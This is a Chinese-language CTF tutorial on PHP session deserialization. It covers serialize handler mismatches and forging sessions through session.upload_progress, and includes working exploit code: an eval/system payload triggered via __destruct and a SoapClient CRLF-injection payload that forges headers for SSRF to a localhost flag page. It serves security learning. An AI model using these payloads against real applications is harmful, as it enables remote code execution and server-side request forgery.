PHP反序列化入門之session反序列化
在學習session 反序列化之前,我們需要了解這幾個引數的含義。
Directive | 含義 |
---|---|
session.save_handler | session儲存形式。預設為files |
session.save_path | session儲存路徑。 |
session.serialize_handler | session序列化儲存所用處理器。預設為php。 |
session.upload_progress.cleanup | 一旦讀取了所有POST資料,立即清除進度資訊。預設開啟 |
session.upload_progress.enabled | 將上傳檔案的進度資訊存在session中。預設開啟。 |
我們先通過一個樣例程式碼,看看3種不同的session 序列化處理器處理session 的情況。
<?php session_start(); $_SESSION['name'] = 'mochazz'; ?>
當session.serialize_handler=php
時,session檔案內容為:name|s:7:"mochazz";
當session.serialize_handler=php_serialize
時,session檔案為:a:1:{s:4:"name";s:7:"mochazz";}
當session.serialize_handler=php_binary
時,session檔案內容為:二進位制字元names:7:"mochazz";
再來看看session.upload_progress.enabled 。
當session.upload_progress.enabled INI 選項開啟時,PHP 能夠在每一個檔案上傳時監測上傳進度。 這個資訊對上傳請求自身並沒有什麼幫助,但在檔案上傳時應用可以傳送一個POST請求到終端(例如通過XHR)來檢查這個狀態。
當一個上傳在處理中,同時POST一個與INI中設定的session.upload_progress.name 同名變數時,上傳進度可以在$_SESSION 中獲得。 當PHP檢測到這種POST請求時,它會在$_SESSION 中新增一組資料, 索引是session.upload_progress.prefix 與session.upload_progress.name 連線在一起的值。
通常這些鍵值可以通過讀取INI設定來獲得,例如:
<?php $key = ini_get("session.upload_progress.prefix") . ini_get("session.upload-progress.name"); var_dump($_SESSION[$key]); ?>
更多細節請參考:http://php.net/manual/zh/session.upload-progress.php
如果想看上面說的這個存在$_SESSION 陣列中的資訊,我們需要先將session.upload_progress.cleanup 設定成Off 。
接下來我們通過兩個CTF題目來學習session 反序列化問題。
例題一
可以看到題目環境中的session.serialize_handler 預設為php_serialize 處理器,而程式使用的卻是php 處理器,而且開頭第4行 使用了session_start() 函式,那麼我們就可以利用session.upload_progress.enabled 來偽造session ,然後在PHP 反序列化session 檔案時,還原OowoO 類,最終執行eval 函式。
<?php ini_set('session.serialize_handler', 'php'); session_start(); class OowoO{ public $mdzz; function __construct(){ $this->mdzz = 'echo system("pwd");'; } function __destruct(){ eval($this->mdzz); } } $_SESSION['payload'] = new OowoO(); // 生成session檔案內容為: // payload|O:5:"OowoO":1:{s:4:"mdzz";s:19:"echo system("pwd");";} ?>
我們可以通過如下表單,抓包修改filename 為payload 即可。
<form action="http://localhost/demo.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
最終會生成一個session 檔案,php 在獲取session 的時候,會按照session.serialize_handler=php 規則來處理session 檔案,將| 符號之前的所有內容認為是鍵名,之後的內容則用於反序列化。
在程式執行結束時,呼叫OowoO 類的__destruct 方法,最終觸發程式碼執行操作。
例題二
在index.php 檔案中,看到第5行 的call_user_func 方法,其引數二的位置固定為$_POST 陣列,我們很容易便想到利用extract 函式進行變數覆蓋,以便配合後續利用。第6-8 行程式碼又存在session 偽造漏洞,我們可以考慮是否可以包含session 檔案或者利用session 反序列化漏洞。第12行 的call_user_func 函式的第一個引數雖然被固定為implode ,但是我們可以通過前面的extract 函式進行變數覆蓋(注意:在PHP7.x比較新的版本中,已經不允許動態呼叫extract 函數了)。而flag.php 檔案中告訴我們,只有127.0.0.1 請求該頁面才能得到flag ,所以這明顯又是考察SSRF 漏洞,這裡我們便可以利用SoapClient 類的__call 方法來進行SSRF 。
下面我們通過一個例子,來看看SoapClient 類的__call 方法如何使用。
<?php $target = "http://localhost:2333"; $options = array( "location" => $target, "user_agent" => "mochazz\r\nCookie: PHPSESSID=123123\r\n", "uri" => "demo" ); $attack = new SoapClient(null,$options); $payload = serialize($attack); unserialize($payload)->ff(); // 呼叫一個不存在的ff方法,會觸發__call方法,發出HTTP請求 ?>
由於PHP 中的原生SoapClient 類存在CRLF 漏洞,所以我們可以偽造任意header 資訊,上面的請求結果如下:
而call_user_func 函式中的引數可以是一個數組,陣列中第一個元素為類名,第二個元素為類方法,例如:
<?php class myclass { static function say_hello() { echo "Hello!\n"; } } $classname = "myclass"; call_user_func(array($classname, 'say_hello')); call_user_func($classname .'::say_hello'); // As of 5.2.3 $myobject = new myclass(); call_user_func(array($myobject, 'say_hello')); ?>
這樣題目中的call_user_func($b,$a) 就可以變成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即呼叫SoapClient 類不存在的welcome_to_the_lctf2018 方法,從而觸發__call 方法發起soap 請求進行SSRF 。
這裡還要提及一點的是session_start
函式從PHP7
開始允許通過引數來設定session
執行時配置。例如:session_start(array('serialize_handler' => 'php_serialize'))
將會設定session.serialize_handler=php_serialize
。
最終我們的利用方法如下:
<?php $target = "http://127.0.0.1/flag.php"; $post_data = 'flag=demo'; $ua = array( 'mochazz', 'Content-Type: application/x-www-form-urlencoded', 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=mochazz' ); $options = array( 'location' => $target, 'user_agent' => join("\r\n",$ua) . "\r\nContent-Length: " . (string) strlen($post_data). "\r\n\r\n" . $post_data, 'uri'=>'hello' ); $serialize_string = serialize(new SoapClient(null,$options)); echo urlencode($serialize_string); ?>
最後我們再將PHPSESSID 修改成mochazz 即可獲得flag ,整個攻擊的流程圖如下:
例二題目環境可以從這裡 下載。